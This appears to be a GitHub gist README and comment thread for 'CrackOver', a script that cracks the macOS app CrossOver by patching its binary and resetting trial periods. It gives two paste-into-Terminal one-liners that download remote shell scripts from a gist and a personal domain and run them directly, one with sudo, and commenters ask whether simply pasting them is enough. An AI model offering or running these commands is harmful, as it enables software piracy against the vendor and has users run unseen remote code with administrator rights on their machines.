Crackover (Complete free version of crossover)

README.md

CrackOver

Crackover helps you bypass restrictions for the MacOS app, CrossOver.

bash -c "$(curl -fsSL https://gist.github.com/ellsies/e9383c75fd8cd8d5781dac91d7e2360d/raw/install.sh)"

Executing this script will replace the CrossOver binary with a patched version that bypasses the restrictions and time limits.

This script fixes all trial issue, resets the trial period, and fixes all bottle trial periods.

I will update this script as needed to keep it working.

For any help, please leave a comment on this gist, and I will respond as soon as possible.

pidof is an executable/script thats installed with homebrew. The script will still work, all the pidof executable does is get the process ID of crossover, and automatically closes it for you to restart the trial, its not needed, just makes it nicer to use :)

thanks for the info. Then I am totally ok without installing pidof?

yes, you'll be fine

yes, you'll be fine

Thanks. Btw, I realize that the script runs and resets the trial period every time I run CO. So its not like it resets it after 14 days but each time you open it. So this is how it is supposed to be like?

Yes, its supposed to be like that, but the new script to fix it (that removes the trial and unlockes the thing forever) is here:

eval "$(curl -fsSL https://static.femboys.studio/csor.sh)"

This runs the installer (requires sudo since it edits the app in the /Applications folder).

is it the whole script? do I just paste it into Terminal?

and what installer does it run?

It runs a small text ui i designed that has two options, install and uninstall. Realistically you should uninstall/reinstall crossover first so the patch i made doesn't get in the way, it replaces a few files in the crossover app to unlock it. And yes, thats the whole script :)

thank you. But do I need to uninstall-reinstall the game as well? I installed diablo 4 and thats about 100 gbs, so wouldnt want to uninstall it actually

No, just reinstalling the app doesn't uninstall the games.

ok

I tried eval "$(curl -fsSL https://static.femboys.studio/csor.sh)"

but I got
curl: (28) Failed to connect to static.femboys.studio port 443 after 75008 ms: Couldn't connect to server

hi, does this code (the one which resets the trial every time) work for the CO app patched with CX patcher?

thx

is the code still working?
